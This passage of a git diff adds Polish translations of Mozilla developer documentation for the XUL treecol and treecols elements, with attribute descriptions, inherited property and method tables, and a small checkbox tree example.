+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobny" name="Podobny"> Podobny </h3>
+<dl><dt> Elementy
+</dt><dd> <a href="pl/XUL/tree">tree</a>, <a href="pl/XUL/treecols">treecols</a>, <a href="pl/XUL/treecol">treecol</a>, <a href="pl/XUL/treeitem">treeitem</a>, <a href="pl/XUL/treerow">treerow</a>, <a href="pl/XUL/treecell">treecell</a> i <a href="pl/XUL/treeseparator">treeseparator</a>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/treecol/index.html b/files/pl/mozilla/tech/xul/treecol/index.html
new file mode 100644
index 0000000000..dc160bce75
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/treecol/index.html
@@ -0,0 +1,249 @@
+---
+title: treecol
+slug: Mozilla/Tech/XUL/treecol
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/treecol
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kolumna drzewa (<code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>). Wyświetla kolumnę nagłówka i utrzymuje rozmiar oraz inne informacje o kolumnie. Możemy także umieścić element <code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code> pomiędzy kolumnami, aby pozwolić na zmianę rozmiaru kolumny. Zawsze powinniśmy umieszczać atrybut <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> w elemencie <code>treecol</code> do zapewnienia, że pozycjonowanie kolumny jest własnością utrzymywaną.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Drzewa">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-crop">crop</a>, <a href="#a-cycler">cycler</a>, <a href="#a-dragging">dragging</a>, <a href="#a-fixed">fixed</a>, <a href="#a-hidden">hidden</a>, <a href="#a-hideheader">hideheader</a>, <a href="#a-ignorecolumnpicker">ignorecolumnpicker</a>, <a href="#a-label">label</a>, <a href="#a-primary">primary</a>, <a href="#a-sort">sort</a>, <a href="#a-sortActive">sortActive</a>, <a href="#a-sortDirection">sortDirection</a>, <a href="#a-treecol.src">src</a>, <a href="#a-treecol.type">type</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>
+</dd></dl>
+<dl><dt> Klasy stylów
+</dt><dd> <a href="#s-treecol-image">treecol-image</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="Grafika:Xul_tree_col_checked.png"></div>
+<p>Ten przykład pokazuje nam pole wyboru w pierwszej kolumnie, żądając poniżej stylu. </p>
+<pre>&lt;tree flex="1"&gt;
+
+ &lt;treecols&gt;
+ &lt;treecol label="Active" type="checkbox" editable="true"/&gt;
+ &lt;treecol label="Name" flex="1" /&gt;
+ &lt;/treecols&gt;
+
+ &lt;treechildren&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell value="true"/&gt;
+ &lt;treecell label="Alice"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell value="false"/&gt;
+ &lt;treecell label="Bob"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+
+&lt;/tree&gt;
+</pre>
+<p>Aby zrobić widoczne pole wyboru, potrzebujemy dodać następujący styl do arkusza stylów (zobacz <a href="pl/XUL/Atrybut/treecol.type">treecol.type</a>).
+</p>
+<pre>treechildren::-moz-tree-checkbox(checked){
+ /* css dla zaznaczonej komórki*/
+ list-style-image: url("chrome://global/skin/checkbox/cbox-check.gif");
+}
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-cycler">
+
+</div>
+<div id="a-dragging">
+
+<dl><dt> <code id="a-dragging"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dragging">dragging</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ten atrybut będzie ustawiony na <code>true</code>, jeśli kolumna będzie przesuwana. Ten atrybut jest ustawiony automatycznie, więc nie powinniśmy go przestawiać ręcznie.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-fixed">
+
+</div>
+<div id="a-hidden">
+
+<dl><dt> <code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli jest ustawiony na <code>true</code>, element jest nie wyświetlane. Jest to podobne do ustawienia wyświetlania własności CSS na <code>none</code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-hideheader">
+
+<dl><dt> <code id="a-hideheader"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hideheader">hideheader</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ustaw atrybut na <code>true</code>, aby wskazać, który nagłówek <a href="pl/XUL/treecol">kolumny drzewa</a> powinien być wyświetlony bez stylu nagłówka kolumny.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-ignorecolumnpicker">
+
+<dl><dt> <code id="a-ignoreincolumnpicker"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ignoreincolumnpicker">ignoreincolumnpicker</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, kolumna nie zostanie wyświetlona w zbiorze kolumn. </dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-primary">
+
+</div>
+<div id="a-sort">
+
+</div>
+<div id="a-sortActive">
+
+<dl>
+ <dt>
+ <code id="a-sortActive"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortActive">sortActive</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Powinien być ustawiony na <code>true</code>, dla kolumn, które powinny być domyślnie sortowane.</dd>
+</dl>
+</div>
+<div id="a-sortDirection">
+
+<dl>
+ <dt>
+ <code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ Ustaw ten atrybut na ustawienie kierunku, w którym zawartość szablonów została wygenerowana i posortowana. Zastosuj atrybut <code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>, aby określić klucz sortowania.</dd>
+</dl>
+<ul>
+ <li><code>ascending</code>: Dane są sortowane w kolejności rosnącej.</li>
+ <li><code>descending</code>: Dane są sortowane w kolejności malejącej.</li>
+ <li><code>natural</code>: Dane są sortowane w zwyczajny sposób, co oznacza porządek w tych, co zostały w magazynie.</li>
+</ul>
+</div>
+<div id="a-treecol.src">
+
+<dl><dt> <a href="pl/XUL/Atrybut/treecol.src">src</a>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Ustaw ten atrybut aby posiadać element obrazka w nagłówku <code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code> zamiast etykiety (<code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>). Ustaw adres URL obrazka, który zostanie wyświetlony w nagłówku kolumny drzewa. Jeśli ten atrybut zostanie opuszczony, to nie pojawi się żaden obrazek i zamiast niego użyta zostanie etykieta. Klasa <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/treecol-image">treecol-image</a></code> musi być zastosowana na elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code> dla obrazka do wyświetlenia. Nie możemy mieć obu (obrazka i etykiety) pokazanych w jednym momencie.
+</dd></dl>
+
+
+</div>
+<div id="a-treecol.type">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/treecol.type">type</a></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ Typ <a href="pl/XUL/treecol">kolumny drzewa</a>. Domyślnie jest to kolumna tekstowa, która wyświetla zawartość jako tekst.</dd>
+</dl>
+<ul>
+ <li><code>checkbox</code>: Zawartość kolumny jest polem wyboru.</li>
+ <li><code>progressmeter</code>: Zawartością kolumny są paski postępu. Używany jest w Mozilli jako okno menedżera pobierania.</li>
+ <li><code>text</code>: Zawartością kolumn jest tekst.</li>
+</ul>
+
+<p> </p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Klasy_styl.C3.B3w" name="Klasy_styl.C3.B3w"> Klasy stylów </h3>
+<p>Następujące klasy możemy zastosować do nadania stylu temu elementowi. Należy korzystać z tych klas zamiast nadawać styl bezpośrednio w danym elemencie - dzięki temu będą bardziej pasować do motywu wybranego przez użytkownika.
+</p><p></p><dl><dt> <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/treecol-image">treecol-image</a></code>
+</dt><dd> Zastosuj tą klasę do posiadania obrazka, który pojawi się w nagłówku <a href="pl/XUL/treecol">kolumny drzewa</a>. Określ obrazek stosując atrybut <code><code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></code>.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <a href="pl/XUL/tree">tree</a>, <a href="pl/XUL/treecols">treecols</a>, <a href="pl/XUL/treechildren">treechildren</a>, <a href="pl/XUL/treeitem">treeitem</a>, <a href="pl/XUL/treerow">treerow</a>, <a href="pl/XUL/treecell">treecell</a> i <a href="pl/XUL/treeseparator">treeseparator</a>.
+</dd><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/treecols/index.html b/files/pl/mozilla/tech/xul/treecols/index.html
new file mode 100644
index 0000000000..8f2dae7a1c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/treecols/index.html
@@ -0,0 +1,127 @@
+---
+title: treecols
+slug: Mozilla/Tech/XUL/treecols
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/treecols
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Grupa elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code>. Powinien być jeden i tylko jeden element <code><a href="/pl/docs/Mozilla/Tech/XUL/treecols" title="treecols">treecols</a></code> w drzewie (<code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>).
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Drzewa">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-pickertooltiptext">pickertooltiptext</a> </dd></dl>
+<dl><dt> Własności </dt><dd> <a href="#p-accessible">accessible</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-pickertooltiptext">
+
